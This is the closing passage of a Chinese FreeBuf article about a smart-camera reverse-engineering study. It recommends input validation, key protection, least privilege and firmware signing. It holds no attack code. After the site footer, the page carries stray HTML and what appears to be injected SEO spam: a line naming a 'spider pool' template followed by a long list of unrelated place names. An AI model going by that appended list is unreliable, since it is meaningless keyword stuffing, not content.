設計智能設備的,我們還是建議首先要建立起全面的安全準則,比如說輸入驗證、邊界檢查、訪問控制與認證等。加密通訊的確是有意義的,但如果密鑰本身就不安全,那么一切都是白費的。密鑰這種東西就是應該得到嚴密防護的,而不是放在日志里面,或者由一些不受信任的機構設置。要在某個界面進行加密,那就不應該通過未加密的界面解密或傳遞其中的敏感信息,否則也就沒有意義了。

一些最基本的安全原則還是要遵守,比如最小權限、深度防御。固件也需要簽名或者加密,抵御惡意的固件上傳或篡改。如果不這么做,不僅給用戶帶來安全風險,對企業的業務也很不好。比如我們上面說的這款攝像頭,原本打算每個月收服務費,這種賺錢方式也就被打破了。另外,開源的固件有時候的確是不怎么靠譜的。

*參考來源:contextis,飯團君投遞,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)

關鍵字:攝像頭逆向工程分析安全

本文摘自:黑客與極客

電子周刊
回到頂部

關于我們聯系我們版權聲明隱私條款廣告服務友情鏈接投稿中心招賢納士

企業網版權所有 ©2010-2024 京ICP備09108050號-6 京公網安備 11010502049343號

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 九江市| 广灵县| 宁津县| 昆山市| 日喀则市| 丹阳市| 邵武市| 安多县| 金平| 安龙县| 汪清县| 蓬安县| 积石山| 新沂市| 龙门县| 米脂县| 河东区| 普兰店市| 灵武市| 行唐县| 辉县市| 织金县| 五峰| 轮台县| 贡嘎县| 崇阳县| 莱州市| 卫辉市| 崇仁县| 克东县| 旬邑县| 横峰县| 加查县| 仪征市| 项城市| 独山县| 靖西县| 河源市| 湖南省| 巴东县| 鸡东县|